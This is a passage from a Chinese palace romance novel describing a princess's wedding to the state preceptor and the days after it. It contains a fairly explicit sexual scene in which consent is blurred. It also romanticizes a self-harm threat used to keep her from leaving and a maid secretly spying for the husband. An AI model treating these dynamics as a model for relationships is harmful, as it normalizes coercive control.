于是软轿改道坤宁宫,容钰下轿,在即将进入住了十五年的宫殿前,竟有些近乡情切,她深吸一口气,这才走了进去,来到往日母后经常休息的檀木软榻前,缓缓跪下,对着空无一人的床榻行了八拜礼。 恍惚间,母后仿佛就坐在塌上,温柔地注视着她,眼中有对她即将出嫁的不舍,还有欣慰,以及深深的期盼,期盼她未来能够幸福安康,夫妻和睦,子孙绕膝,顺遂一生。 春桃在门口悄悄抹眼泪,容钰的眼角也湿润了,有一颗晶莹泪珠滑落,掉在不染纤尘的地砖上,无声地见证这一切。 另一边,养心殿内的皇帝仰面躺在床榻上,因为伺候的人不仔细,他身上已经生了暗疮,散发出难闻的恶臭气息,但他一直瞪着眼,不断朝着门口看过去,似乎在暗暗期待着什么。 他知道,今日就是女儿昭华公主出嫁的日子,按照礼俗,她必定会来拜别自己。昭华最是心软乖巧,上一次说什么不再认他,定都是气话,昭华只要见了自己,便知道下人照顾不好,一定会换人来伺候。 可是他左等右等,一直等到来喂药的人把难喝的药液粗鲁地灌进他的口中,洒了他一头一脸,呛得他差点又晕过去,都没能等到容钰过来。 皇帝的眼神逐渐变得绝望,惊恐,他不想就这么窝囊地死在床榻上,口不能言,手脚也不能动弹,身上全都是秽物,如此不体面,连皇位都保不住,被许怀鹤那个狼子野心的小人夺走! 他不想死,不想死啊!! 坤宁宫内,拜别母后,容钰缓缓起身,用帕子擦去眼角的余泪,在素白的帕子上留下了一抹嫣红。 她最后回头看了一眼自己曾待过十五年的坤宁宫,知道自己不久后又会回来,怀着浅浅的叹息转头,没有朝养心殿的方向望去过一次,挺直腰背,再次坐软轿离开了皇宫。 京城的几条主街道此刻已然一片欢腾,锣鼓声喧闹,人人翘首以盼,在路边伸长了手,等待着驸马爷许怀鹤的到来,谁都希望自己能够抢到出手阔绰的驸马爷散出的银子,沾一沾公主殿下和国师大人的喜气。 至于还在病榻上的皇帝,谁记得?这大喜的日子,自然是要祝贺两位新人长长久久,白头偕老,永结同心,恩爱不离。 街边的祝福声和笑语不断,人人脸上都洋溢着笑容,闻锐达站在人群的最后,一身黑衣隐藏在屋檐下,几乎和阴影融为一体。 他缓缓抬头,注视着骑着宝马的许怀鹤,对方正是春风得意的时候,红色的新衣格外刺眼,头戴七梁进贤冠,金丝掐制的蝉形饰片垂于冠前,冠后插一对长一尺二寸的雉尾翟翎,在阳光下反着彩色的光。 这就是驸马,这就是未来的新帝,闻锐达苦涩地笑了一声,似乎是在嘲笑自己自不量力,又仿佛在嘲笑命运不公,他压住帽檐,翻身上马,骑向的和许怀鹤截然不同的方向,回他的江南。 第64章 第64章若是殿下有朝一日离开我…… 容钰从皇宫离开后,又坐马车回了公主府,她和民间普通的待嫁新妇不一样,不用嫁到夫家去,而是驸马住到公主府里来,和民间的入赘差不多,自然也不用再舟车劳顿。 桂嬷嬷已经领着舅母和顾云溪,还有其他顾家的小姐们到她的婚房,热热闹闹地替她攒喜气,又请了全福人扫床,口中吟唱着千百年来流传的祝福话语。 容钰默默地捏住手中的团扇,垂下眼眸,遮住眼中复杂的情绪,还是被屋内欢喜的气氛打动,微微弯了下唇,暂时将那些烦恼抛之脑后。 已经走到这一步了,除了继续走下去别无他法,容钰在桌案边坐下,离吉时还有一会儿,桂嬷嬷心疼她,让春桃和青竹选了几样酥点过来,配着茶水让她先垫垫肚子。 外祖父和舅舅,还有顾明之表哥热心地承担起了待客的事宜,顾明之站在门口笑迎宾客,来自公主府的嫁妆就这么摆在公主府的门口两侧,一箱箱堆叠起来,加上镇国公府添的,足足有八十一箱,每一箱都有专门的人看管,光是最上面浮现出的那一层金银珠宝,都足以让人眼花缭乱,心生艳羡。 马蹄声渐近,顾明之远远就看见了骑着高头大马的新郎官许怀鹤,还有许怀鹤身后跟着的同样八十一抬聘礼,弯弯绕绕有半条街那么长,许怀鹤人都到了公主府门口,最后一位抬着聘礼的人还在街后赶路。 在顾明之的印象中,这还是他第一次看许怀鹤穿这样鲜亮的衣物,对方眉眼间之前世外高人一样的淡泊散去,变成了让人不敢直视的锐意,意气风发,势不可当,变化大的令人心惊。 又或许许怀鹤本来就是这样的人,像一把锋利的宝剑,只是之前藏在剑刃中,隐藏住了锋芒,而如今彻底脱鞘,世上便再也没有能阻挠他的人。 礼仪官擦了擦额头上冒出的热汗,终于赶上了许怀鹤风一样的脚步,赶在许怀鹤推门前拦住了他,告知新郎官进门前,需得通过三道考验,一是做诗,二是答题,三是比武。 这三样考验都由顾明之来检验,许怀鹤本来就在京中以才华横溢闻名,只是他那一手炼丹术太过惊艳,众人才忽视了这一点,如今他轻轻松松便破了前两关的考验,周遭宾客都不禁拍手叫好。 等到第三关比武时,镇国公跃跃欲试,甚至想亲自上手,但想了想这是未来的新帝,且自己常年征战沙场,许怀鹤定然比不过自己,他也没必要为难驸马,最终还是让顾明之上场。 顾明之是读书人,虽然跟着父亲学过一段的武艺,但完全比不过许怀鹤,不说剑术,光是赤手空拳的对打,也被许怀鹤几招就制住,不能动弹,只能甘拜下风,心服口服。 外面热闹极了,屋内的小姑娘们都忍不住挤到窗户边悄悄往外看,嘴里不时发出轻轻的吸气声,特别是顾明之和许怀鹤比武时,更是看的目不转睛。 “驸马真厉害……” 窗外的叫好和欢呼声在容钰的耳边淡去,有脚步声从屋外传来,每一步都跨的很急,每一步都似乎敲在她的心坎上,容钰的呼吸也快了些许,她双手紧紧握着团扇的扇柄,还是没忍住,微微抬眼,看向推门进来的男人。 许华鹤今日 换了大红的婚服,是容钰从来没见过的颜色,这样的红让许怀鹤原本如谪仙一样清冷的面容突然添了几分妖冶,依旧俊美非凡,但似乎总有什么东西不一样了,比之前更有侵略性,看向她的眼神仿佛都带着深不见底的漩涡,随时都能将她吸进去。 容钰克制着向后缩的动作,抬眼和许怀鹤对视,又带着几分羞怯,几分害怕地迅速垂眸,盯着自己鞋尖上绣着的翡翠串东珠,感受到许怀鹤离自己越来越近,鼻尖又一次萦绕起了檀香。 许怀鹤走的太快,礼仪官在后面险些追丢了帽子,他气喘吁吁地站好,低声提醒还需要拜天地长辈,让春桃去扶起容钰,站到许怀鹤身侧,并肩去正厅让众人观礼。 容钰扶着春桃的手臂站起来,因为坐的久了,头上沉重的头饰压的她晃了晃,还没回神,许怀鹤就已经大步来到她的身侧,挤开春桃,代替春桃稳稳扶住了她的双臂,将她半拥在怀中。 容钰轻轻的惊呼声停留在唇边,她没敢抬头去看许怀鹤,感受着许怀鹤身上的温度环着自己,有些不自在地偏了偏脸,低声道了句“多谢”。 “殿下不必这样客气。”许怀鹤微微低头,用只有他们两人能够听到的声音,贴着她的耳朵尖轻笑道,“等入夜,我也不会同殿下客气的。” 屋内的其他小姑娘们听不到他们说了什么,但看到他们如此亲密,此情此景都让她们羞红了脸,忍不住也期盼起了自己未来的夫君也会这样体贴疼爱自己。 顾云溪捂住发烫的脸颊,羡慕地看着两人离开的背影,拉着三妹妹也慢吞吞地跟了上去,一起去正厅观礼。 容钰被许怀鹤扶着往前走着,她愣了好几息,才反应过来许怀鹤刚才说了什么,原本就涂了胭脂的双颊更是如同红色的晚霞一样,耳朵尖也彻底变成了粉红色,她没忍住怒瞪了许怀鹤一眼,咬住柔软的下唇,偏过头不想看他。 许怀鹤心情愉悦,嘴角含笑,带着容钰到正厅,在礼仪官和众人的见证下拜了天地,让天地承认他们的婚契。 由于皇上缠绵病榻,先皇后已经去世,而许怀鹤更是早早成了遗孤,拜父母这一流程便舍去了,礼官最后拖长了声音,让两位新人对拜,正正好好卡在了吉时上:“礼成——!” 大夏没有太多讲究束缚,大婚的礼节完成后,新娘子也不必一直待在卧房中静静候着新郎到来,而是能和新郎一起出去待客敬酒,接受亲朋好友们的祝福。 但由于容钰身份尊贵,众人也没有那个面子让容钰亲自出来一一待客,容钰就只和许怀鹤一同来到外祖父和舅舅的面前,向几位长辈敬了酒。 顾培安和镇国公都看出容钰折腾了这小半日,面容已经有些疲惫,再加上那沉甸甸的头饰,他们光是看着都觉得脖子酸,连忙接过容钰递来的酒杯,豪爽地饮下,温声劝容钰先回房休息。 容钰也不推辞,知道这是长辈的关心,自己也抿了一小口薄酒后就放下酒杯,由春桃和青竹扶着回了卧房。 临走前,她略有些担忧地看了许怀鹤一眼,但等许怀鹤回视,她又有些心虚地撇过头,不愿让许怀鹤看出自己在关心他,免得许怀鹤又得寸进尺,说些什么胡话。 容钰一走,顾培安和镇国公的眼神就由温情脉脉变成了审视,许怀鹤知道这是新郎必定要过的一关,他含着笑坐下来,被顾培安和镇国公两人轮流灌了至少两壶酒,依旧面不改色,说话条理清晰,还能继续和其他人寒暄,推杯换盏。 顾培安和镇国公也没了脾气,知道不能再灌,勉强放走了许怀鹤。 容钰回到婚房后就坐回了铜镜前,由春桃和青竹轻手轻脚地帮她拆卸头上沉甸甸的头饰,换下庄重精美的嫁衣。 直到所有赘余的头饰都被摘去,只剩一根用来挽发的细细的白玉簪,容钰才觉得自己的脖子终于不那么酸了。 青竹十分有眼力见地帮她按摩着后颈,春桃则在旁边指挥着小丫鬟们仔细收好嫁衣,准备送去清洗,晾干后再熏香,和嫁妆一块放进箱笼里。 这嫁衣一生只穿一次,穿过这一次后,就会被永久的保存在箱笼之中,但它有这一次的风光便也足够了,想必今日的每一个人都会将公主殿下的美貌深深印在脑海之中,被公主殿下的衣裙头饰震撼,在京中掀起一阵争相效仿的风潮。 脸上浓重的妆容洗净,露出一张雪白秾丽的芙蓉面,哪怕不施任何粉黛也美的惊心动魄,容钰任由春桃在自己脸上涂抹玉容膏,有微微的凉意泛开。 她已经换了素淡的寝衣,墨发垂下来,为她增添了几分温婉,容钰一想到接下来要发生的事,就忍不住攥紧了手,心跳一声快过一声,几乎要跳出胸膛。 事到如今,她依旧不知要怎么面对许怀鹤,逃也逃不掉,那晚的事她更不想提起,便只装聋作哑,容钰想了想,还是让青竹拿了话本子过来,随意翻了几页。 好巧不巧,青竹拿的这个话本子恰好是她曾经看过的一本,只是表面太新,被小丫鬟们弄混了,放在了新出的画本子里,讲的是—— 千金小姐和男狐狸书生的故事。 男狐狸精为了报千金小姐的救命之恩,努力考取功名,模仿学堂里的一位书生装出清高的样子,但与千金小姐的相处中,他便逐渐暴露了狐狸精的本性,几次三番无意中做出孟浪举动,勾的千金小姐情动,和他私定了终身。 男狐狸精考中后,就立刻上门提亲,却在新婚那夜一晌贪欢,不小心露出了原型,把千金小姐吓晕过去。 第二日千金小姐醒来后,男狐狸精还想糊弄,但千金小姐并不相信,男狐狸精不得不坦诚相待,说了救命之恩的事,可千金小姐害怕厌恶妖怪,不愿意和他在一起,但又舍不得狐狸精变成人后的样貌品性。 而结局,千金小姐最后还是被男狐狸精的真心打动,接受了他,两人终成眷属,皆大欢喜。 她当初看这话本子时,只觉得新奇,为话本中的主角之间的爱情牵动心神,希望他们能够好好在一起,可如今再回看,却觉得这话本子里处处是她和许怀鹤的影子。 许怀鹤便是这男狐狸精,只不过不是来报恩的,自己就是那上当受骗的千金小姐,千金小姐发现男狐狸精的本性后,心中所想和她所想的又何其相似,几乎一模一样。 她害怕许怀鹤,如同千金小姐害怕男狐狸精,若不是有前世的经历和所见所闻,她一定会千方百计地逃跑,生怕许怀鹤也在某天杀了自己,却装的什么事也没发生,就这么轻描淡写地揭过。 可她知道许怀鹤深爱自己,不会做那些伤害自己的事,就像千金小姐知晓男狐狸精深爱她,愿意割舍修为,只做凡人,陪她白头到老,所以她们都选择留下,选择接受并不完美的爱人。 门被推开,有夜风偷偷溜进来,容钰放下话本子,愣愣地抬头,看到了已经换了一身衣物,洗去了酒气的许怀鹤。 许怀鹤又换回了白衣广袖,身姿挺拔,面容如玉,一如初见时的惊鸿一瞥,而看向她的眼神却和初见时的淡漠截然不同,漆黑的眼眸中,狂热和贪欲再也不做掩饰,哪怕隔着衣服,都像用眼神将她剥了个彻底。 容钰忍不住抬手捂住胸口,春桃和青竹早就悄悄地退了出去,她无人可喊,只能眼睁睁地看着许怀鹤一步一步朝自己走来,在她面前站定。 许怀鹤低 头,他觊觎已久的明月,昭华公主殿下此刻就在他的眼前,触手可及,只差一步就能彻底属于他,成为他的妻,成为他的枕边人,身边人。 他浅浅吸了一口气,竟有些微微手抖,转身倒了合卺酒,将其中一盏递到容钰手边:“殿下,请。” 容钰呆呆接过,被许怀鹤抬着手臂握住,共饮交杯酒。 酒杯交错间,容钰看到了许怀鹤深邃沉沦的眼神,对方眼神中的爱意做不了假,几乎能将她溺毙,她被这样深重的爱意裹挟,一时不知道做何反应,等她回神时,许怀鹤已经将剪烛花的剪刀塞入她手心,和她面对面坐着,反手握着她的手腕,将剪刀对准了自己的心口。 容钰缓缓瞪大了眼睛。 她不明白许怀鹤为什么要这样做,她慌的不行,却连手都不敢抖,生怕自己一失手,就将剪刀的刀尖送进许怀鹤的心脏。 许怀鹤依旧怀着淡淡的笑意,平静又深刻地注视着容钰:“殿下若是不愿意嫁给臣,现在就可以亲手杀了臣,臣绝对不会反抗,也永远不会伤害殿下。” ……疯子。 容钰呼吸一窒,她颤抖着睫毛,盯着许怀鹤平静中暗藏癫狂的神色,嘴唇微张,又迅速抿住。 但许怀鹤早已明晰她要说什么,嘴角笑意加深:“是,我就是疯子。若是殿下有朝一日离开我,我就彻底疯了。” 第65章 第65章我信。 “噼啪”一声,没有挑好的灯花烛油迸溅,摇曳的烛光闪烁了一下,容钰终于回神,艰难地开口,原本清丽婉转的声音带着嘶哑:“……你威胁我。” 许怀鹤本来就已经够疯了,若是再疯一些会是什么样?容钰根本不敢深想,自己如果真的走后,镇国公府会遭受怎样的对待,自己被抓回来之后又会如何,她紧紧抿住双唇,唇角都因为用力而有些发白。 “不敢。”许怀鹤依旧怀着浅浅的笑,依旧握着容钰的手,不曾挪动分毫,尖刃就抵在他的胸口,他却像个没事人一样谈笑风生,“我只是实话实说罢了。” 新婚夫妻在新婚夜手握剪刀,如同仇敌一般,这场面太过诡异,容钰深深吸了一口气,肩膀缓慢地松懈下来,她无可奈何,是妥协,也是在对许怀鹤做出自己的承诺:“我不会走的。” “好,我信。殿下曾说过,会让我一直陪在您身边的。”许怀鹤终于松开了手,嘴角的笑意加深,依旧用深切的眼神注视着容钰。 许怀鹤一松手,容钰就忙不迭地将剪刀扔了出去,砸在另一旁的地板上,发出咚的一声响。 外面的春桃和青竹都忍不住侧了一下身,但随即想到了什么,脸上更红,不敢贸然进去打扰,也不敢出声,静静在外面候着。 丢了剪刀,容钰的手心已经出了一层薄汗,她又怔了半晌,急速的心跳终于平息下来,才回神去想许怀鹤刚才说的话。 所以许怀鹤从那么早开始,就已经算计到了今日吗?从她这里获取承诺,一步一步将她带入编织好的牢笼和陷阱当中,让她无法脱身,深陷其中,许怀鹤究竟还有多少瞒着她的事? 眼前的光线骤暗,容钰抖了抖睫毛抬眼,发现是许怀鹤来到她面前拉上了床帐,意识到接下来会发生什么,容钰忍不住往后缩了缩,但还没能退开距离,便被许怀鹤扣住肩膀拉至身前,跌进了许怀鹤宽阔的怀抱里,撞上了许怀鹤的肩膀。 柔软的脸颊虚虚抵着布料,不等容钰反应过来,她就被许怀鹤的另一只手掌扣住后脑勺深吻,唇间尝到了点点清茶的味道。 许怀鹤亲的不疾不徐,但容钰依旧招架不住,被亲的喘不过气,眼前发晕,唇齿厮磨间,许怀鹤的手掌缓缓摩挲,将热度带到她全身,抽开了浅色的腰带。 迷迷糊糊间,容钰猛地弓起了腰背,双腿颤抖,脸上的红蔓延至脖颈,她想推开许怀鹤,但手脚都使不上力,只能被许怀鹤圈在怀里,任由许怀鹤作乱。 在容钰看不到的地方,许怀鹤眼中的欲色几乎溢出,而这一次他再也不用克制自己,又加了一指,激得容钰原本搭在许怀鹤肩上的双手猛地收紧,勾住了许怀鹤的脖子,同时发出一声如同哭泣的呜咽,颤音婉转。 许怀鹤抽手时,修长有力的手指已经湿的如同刚净了手还未擦干,他低低笑了一声,看着双眼失神,还在余韵中的公主殿下,坏心思地又一次亲吻上去。 上好的云锦床面被蹭出了层层褶皱,许怀鹤单手就能握住容钰纤细白嫩的腰肢,他看着容钰根本招架不住地半捂着唇喘泣,从未有过的愉悦刺激着大脑,他便也放任自己沉溺在欲海之中,品尝了一遍又一遍。 每一处都仿佛在发烫,容钰早就脱了力,软绵绵地任由许怀鹤摆弄,哭的嗓子也哑了,眼睛也红了,却连完整的“不要”两个字都说不出,唇间的音节破碎,变成了低低的呜咽。 代表喜庆的龙凤红烛已经燃到了底,最后一丝烛光跳动,不情不愿地熄灭,彻底遮住了床帐映出的两人身影。 最后一次叫水,容钰已经累得晕睡过去,春桃只看了一眼容钰腰上露出来的红色指印,就迅速撇过了头,不敢多看,国师大人也不需要她们帮忙,亲手替公主殿下洗净了身子,又换上新的寝衣,抱着公主殿下回了卧房安眠。 这一夜安安稳稳,有暗桩和暗中保护的军队,京城都被笼罩在一片安宁之中,公主府内,更是无人敢打扰折腾了半夜的公主殿下。 没有见公婆的规矩,不必早起去请安,更不必入宫去,容钰这一觉一直睡到接近午后才醒过来,依旧觉得困倦,身体疲惫极了。 她睁眼时甚至迷茫了片刻,看着换成了红色的床罩,有些分不清自己在哪里,又在床上躺了一炷香的时间,神志才逐渐清明,想起了昨夜发生的一切,脸颊顿时又烧红。 许怀鹤已经不在她身侧,兴许是又入宫去监国,处理朝堂上堆积的事务了,容钰这么想着,抬手想要拉枕边的床铃叫人进来,没想到就连手臂也酸软,挣扎了好几下才扯到线,拉响了铃铛。 春桃和青竹立刻带着小丫鬟们进来,扶她下床去梳洗,在脱下寝衣时,容钰看着自己身上的痕迹,眼神都不知道该往哪里放,耳朵尖一片绯红,但闻着身上淡淡的药香,又知道许怀鹤已经贴心地帮自己涂抹过药了,就连那处都有些清凉,并不难受也不痛。 就是太累了……许怀鹤怎么能折腾那么久,他的精力怎么能这么旺盛? 容钰刚刚被春桃和青竹扶着起身,跨出浴桶,换好轻便的衣裙出来,便看到许怀鹤不知什么时候回来了,坐在桌边,桌子上摆着她喜欢吃的午膳,等着她一同用饭。 容钰如今一看到许怀鹤,就会情不自禁地想起昨夜的情迷意乱,她略有些不自在地轻轻咳了一声,震惊地发现自己就连声音都叫哑了,尴尬地抿唇,对上许怀鹤带笑的视线,恨恨转头,赌气一样坐下来,也不等许怀鹤,自顾自地喝起了补汤。 许怀鹤偏偏还要刻意道:“殿下昨夜睡得好吗?” 容钰一口带着药香的鸡汤差点呛在喉咙里,她故作镇定地放下碗,清了清嗓子,用终于不那么沙哑的声音回道:“还好。” “那看来是我不努力了。”许怀鹤忍住笑,面上装出一副遗憾的样子,“没能让殿下满意,下次我一定再好好表现。” 春桃和青竹眼神发飘,默契地看向了屋角,好像那里有什么特别的新奇玩意一样,恨不得自己没长这双耳朵,听不到公主殿下和驸马的夫妻情话。 但听到这里,青竹一直高高吊起的心才终于放了下来,太好了,公主殿下和国师大人还是如同往常一样,并没有离心,还是恩爱如常的。 国师大人的手段果然高明,公主殿下居然能够不计较往日的那些欺瞒,在知道国师大人的真 面目之后,还能安心和国师大人在一起,真是胆色过人,不愧是唯一能够治住国师大人的公主殿下…… 许怀鹤的回复让容钰没能再稳住镇定,她知道许怀鹤是故意这么说的,气鼓鼓地怒瞪了许怀鹤一眼。 而许怀鹤脸皮极厚地接受了公主殿下毫无威慑力的瞪视,还抢了春桃的活,替容钰布菜,将驸马的身份适应的极好,积极地伺候着公主殿下。 被许怀鹤占了言语上的便宜,又想到许怀鹤昨夜的威胁和放纵,容钰心里突然来了一股气,她本来想挑一挑许怀鹤的毛病,但许怀鹤为她夹的都是她爱吃的菜,连量都不多不少,她实在没刺可挑,只能鼓着脸吃完了这顿饭。 用过午膳后,容钰本来以为许怀鹤会回皇宫去,自己能在公主府里歇一口气,可她没想到的是,许怀鹤竟然让人将没处理的折子全都搬到了公主府来,死皮赖脸地要和她待在同一间屋子里。 她躺在拔步床上看话本子,许怀鹤就霸占了她平时闲置的桌案,黏黏糊糊地说什么“不愿离开殿下半步”,惹得屋里的小丫鬟们都红了脸。 容钰气他脸皮厚,头一次动手,想掐许怀鹤一把,让他也吃痛,却没能在许怀鹤坚实有力的臂膀上留下什么印子,反而掐得自己手酸了,最后气哼哼地坐远了些。 许怀鹤知道,自己昨夜没忍住欲望,做的过了一些,加上陡然被公主殿下知晓真面目,又趁人之危做了驸马,公主殿下心里必然是有气的。 但公主殿下还是一如既往的可爱,就连发脾气都是在撒娇,一举一动都透着娇嗔,不管公主殿下想如何撒气,他自然都会受着,甚至乐在其中,直到殿下气消为止。 若是容钰知晓许怀鹤此刻心里在想些什么,必然会啐一口,再骂一句许怀鹤真不要脸,但她并不知道许怀鹤脸皮厚到这地步了,她翻着手中的话本,悄悄地看了一眼认真批阅奏折的许怀鹤,有浅色的阳光从窗户的缝隙照进来,洒在对方的脸上,显得他更加俊逸从容。 容钰多看了几息,愣愣地想,似乎现在这样其实也不错,许怀鹤虽然并不是真的清冷君子,但对她却是一心一意,爱护非常,她还要强求什么呢? 总比上一世嫁去漠北和亲,病死在路上,哪怕没病死在路上,也会在漠北受辱强的多,这一世她的荣华富贵只多不少,伤害她的欺负过她的人也已经有了报应,镇国公府安然无恙,比起之前更加显赫,一切都是好结果,不是么? 是啊,容钰的心结忽然就散了大半,许怀鹤骗了她,却又对她太好,她生不出恨,也生不出厌恶,只有淡淡的害怕。 许怀鹤敢把命都交付在她的手心里,她又何尝不能赌这一把?从她重生回来之后,她不就一直在赌么,赌许怀鹤能爱上自己,赌自己能够攀附上许怀鹤,确保下半辈子的荣华富贵,确保镇国公府不会出事。 她已经赌赢了,得了许怀鹤的真心,还怕什么? 容钰又把自己哄好了,她眉目舒展,让春桃去厨房要了两份酥点,一份自己吃,一份大方地分给了许怀鹤。 许怀鹤看着面前的枣酥,轻轻笑了声,偏头看了眼歪在床榻边,一边吃酥点一边看话本子的公主殿下,被容钰的天真烂漫感染,就连看奏折上的废话都没那么不耐烦了。 他的殿下啊,他的明月……太纯真,太善良,太可爱了,就这么轻易地原谅了自己,连一句重话都没有,让他怎么能不爱,让他怎么能舍得放她离开自己身边? 许怀鹤的眼中带了深深的痴恋,容钰却浑然不觉,吃完了一碟酥点,看完了两本话本子,时间不知不觉就入了夜。 酥点吃多了,容钰小腹微鼓,没用晚膳,等她梳洗好回到床边,这才猛然记起来自己如今已经不是一个人住在公主府里,还多了一位身为驸马的许怀鹤,要和自己同床共枕。 想到昨夜的激烈,容钰有些后怕,她缩进被子里,将自己严严实实地裹住,睁着微圆的杏眼,一直等到许怀鹤收好处理完的奏折,洗浴后上床来,低声警告他:“你不许,不许……那样了!反正今晚不行!” 许怀鹤替她拂开耳边长发的手指顿了顿,他挑了挑眉:“嗯。” 他本就没打算今夜再做什么,虽然殿下一直被他用上好的药方养着,但底子还是弱,经不起折腾,他也没想这么快和殿下有孩子,至少得等殿下彻底养好再说,自然不急于这一时。 尽管他食髓知味,确实有些馋了。 见许怀鹤这般好说话,容钰反而愣了愣,有些不放心地往里挪了挪,闻着许怀鹤身上的檀香,不过片刻就沉眠,一夜安然。 第66章 第66章这一夜,容钰比昨夜…… 这一夜,容钰比昨夜和前夜睡的都要好,醒来时神清气爽,腰肢也没有先前那么酸了。 这回醒来,许怀鹤还躺在她的身侧,修长的手指把玩着她的秀发,见她睁眼,声音慵懒地问:“殿下昨夜可睡好了?” 容钰这才发现自己还躺在许怀鹤的怀里,已经亲密过了好几次,如今又成了夫妻,容钰倒是没有不自在,她微微偏头,许怀鹤俊逸的脸庞近在咫尺,呼吸微微一顿:“嗯。” 床帐中安静了片刻,因为习武,许怀鹤的呼吸声要绵长平缓一些,容钰静静地听着两人交融又错落的呼吸,忽而开口道:“今日我想回镇国公府看看。” 民间嫁女都有回门的说法,已经出嫁的女儿在出嫁后的第二日,便可携夫君一同回娘家,一来有让娘家看看自己过得好不好,夫君是否尊重爱护自己,若是在婆家受了委屈,还可以在此时悄悄告状; 二来,大多数人都是嫁了如意郎君,此时回娘家来向其他姐妹炫耀,或是再得亲朋好友的祝愿,总归是欢欢喜喜的好日子。 按理说,容钰今日要回也该回皇宫,但她不想见到名义上的父皇,更想见一见外祖父和舅舅,还有可爱的表妹顾云溪。 容钰说完后顿了顿,还是问了出来:“你会陪我一同去吗?” “当然。”许怀鹤用指尖轻轻抚摸着容钰光滑的侧脸,感受指腹传来的柔软,愉快地弯了弯唇角。 容钰悄悄松了一口气,虽然她知道许怀鹤多半会答应自己,但还是有些紧张。 她睡在内侧,这会儿半撑着手臂起身,想越过许怀鹤下床,然而才刚爬一半,还没摸到床沿,就被许怀鹤一把揽住了腰肢,在她的惊呼声中将她打横抱起,轻轻松松地下了床。 春桃和青竹本来听到铃响,就已经准备进来伺候公主梳妆,但看到驸马抱着公主离开的背影,两人面面相觑,都有些无奈。 自从驸马进了公主府来,就把她们两人原本的活计几乎抢了大半,就连洗浴这种事都不假手他人,未免有些太过称职了。 公主和驸马从浴房出来的时候,依旧挨的很紧,仔细看还能发现驸马揽着公主殿下的腰,指腹都陷进了腰间的软肉里,被层层叠叠的绫罗遮住,半抱着公主出来。 而公主殿下脸色微红,芙蓉面上有浅浅的春光,春桃和青竹不敢多看,连忙垂眼,利索地帮公主殿下擦发。 没有公主殿下的吩咐,屋里的小丫鬟们也不敢轻举妄动,不敢贸然上去伺候驸马,许怀鹤也不需要人伺候穿衣束发,他披上外袍,用青色的发带竖起青丝,整理了一下袖口,白鹤的流云纹缀着,自有一番风流的味道。 用完早膳,容钰用清茶漱了口,坐到铜镜前梳妆,妆台上的螺子黛又换了一批新的,拆开带着浅浅的乌木香,春桃刚为容钰敷了珍珠粉,正想像以往一样细细描眉,就察觉到身旁突然多出了一座高大的身影。 春桃被吓得呼吸都停了,抬眼望过去,许怀鹤顺势从她手 中抽走螺子黛:“我来吧。” 春桃诺诺应了,连忙走到一边去,和青竹一起垂手站着,画娥眉这种事也是夫妻意趣,她们哪里敢多掺和,只是不知道国师大人头一次为女子画眉,效果如何呢?若是画的丑了,公主殿下不会生气吧? 容钰倒是不惊讶许怀鹤会为她画眉,从成亲后,许怀鹤就将她照顾的无微不至,不光床上花样多,床下也要粘着她,索性就由许怀鹤去了,想来许怀鹤一手好丹青,画眉应该也不会失手。 为了方便,许怀鹤用左手轻轻捏住了容钰柔软的脸侧,无名指和小指托着容钰小巧的下巴尖,微微往上抬了抬脸,注视着容钰几乎完美无缺的美人面,不管看多少次,他还是会被此深深吸引,舍不得挪开视线。 容钰闭上眼睛,视觉消失了,触觉便十分敏感,她能感觉到许怀鹤带着温度的手指按在自己的脸颊上,也能感觉到有些微凉的螺子黛落在她的眉尾,轻轻地慢慢划过,有些痒,但不知为何内心却十分平和,还带着暖意。 “好了。”片刻后,许怀鹤放下螺子黛,但依旧捧着容钰小巧精致的脸,十分满意地看着自己的手艺,“殿下真美。” 听到许怀鹤的夸赞,容钰抖了抖睫毛,睁眼朝着铜镜里看去,许怀鹤为她画的眉并不是她平时喜爱的细弯眉,比往日略短了一些,也略平了一些,但却将她原本就偏圆的美眸衬托的更加纯真,就连原本艳丽的面容都增添了几分可爱,看上去更加平易近人,让人忍不住想要多亲近几分。 春桃和青竹都十分识趣地夸奖了起来,不停说着“殿下真美”,“驸马好手艺”,容钰被她们逗的弯了弯唇,脸颊浮现出浅浅的酒窝。 许怀鹤这时才收了手,春桃连忙上前来为容钰仔细贴上眉间的花钿,许怀鹤旁边看着,察觉到容钰的妆面还缺了一抹嫣红的口脂,便随手打开了铜镜旁的妆奁,想替容钰寻一罐口脂出来。 容钰一开始并未在意许怀鹤的动作,直到她收回目光,由春桃为她戴好金丝嵌宝葫芦耳环,她才猛地回过神来,想起那只妆奁里面装了什么。 “等……”容钰缓缓瞪大眼睛,她猛地转头,葫芦形状的耳坠摇晃,啪嗒一声拍在她的脸颊上,她顾不得吃痛,急急忙忙地想要制止许怀鹤。 然而时间已经来不及了,许怀鹤已经从妆奁里抽出了被压平的信封,“闻锐达亲笔”五个字明晃晃地摆着,映入许怀鹤的眼中。 许怀鹤微微挑了挑眉。 在看到许怀鹤拿出信封时,容钰的心便咯噔一声,沉到了最底,她微微张唇,着急地想要解释,但又不知道该说什么好。 她那时看完信上的内容,心里不以为然,只想着随手把信收起来就好,屋子里都是向着她的侍女,就算看到了也不会多说什么,绝不会往外吐露半个字。 时间一长,竟然也忘了这封信的存在,如今陡然被翻出来一看,偏偏像是私藏,搞得好像她和闻锐达有什么私情一般。 青竹的心也瞬间提到了嗓子眼,跟着容钰一起紧张忐忑起来,但她随即又突然想起,不对呀,国师大人不是早就看过这封信的内容了吗?还是自己将信上的一字一句全都记下来,写了密信传给国师大人看的。 许怀鹤靠在妆台边,明明早就知道,也从青竹那里得知了这信上的所有内容,此刻却装的十分讶异,又开始演起了戏:“殿下,您这里怎么会有闻锐达的手信?” 他的语气中带着四分隐忍,四分委屈,还有两分不可置信,但偏偏没有愤怒和质问,容钰一下哑了声,被没由来的心虚填满了脑海,甚至有些不敢看许怀鹤的眼神。 耳边传来信封被拆开的窸窣声响,容钰一下又慌了神,她连忙转过脸,急得抬手抓住了许怀鹤的手腕:“你别看!” 意识到自己这样做有些欲盖弥彰的味道,更像是和闻锐达有些什么了,容钰赶在许怀鹤问前,连忙补充道:“这上面都是一些骂你的话,我本无意留下这封信,只是觉得丢了不大好,我都忘记了这封信还在,你别生气……” 容钰脸色微红,转而用手指扯住许怀鹤的衣袖,像往日那样晃了晃,似乎是在撒娇:“我对你别无二心,我只喜欢你一人,你知道的。” 说到后面,容钰的声音都软了下去,娇娇弱弱的,带着几分祈求和可怜,许怀鹤听的心软,心情愉悦,但脸上还是装的一副有所怀疑的模样。 “你若不信就看吧。”容钰顿了顿,有些不忍,声音轻轻的,“闻锐达还写了一些疯话,你全当他在胡言乱语吧,闻锐达是个好官,你……你别杀他。” 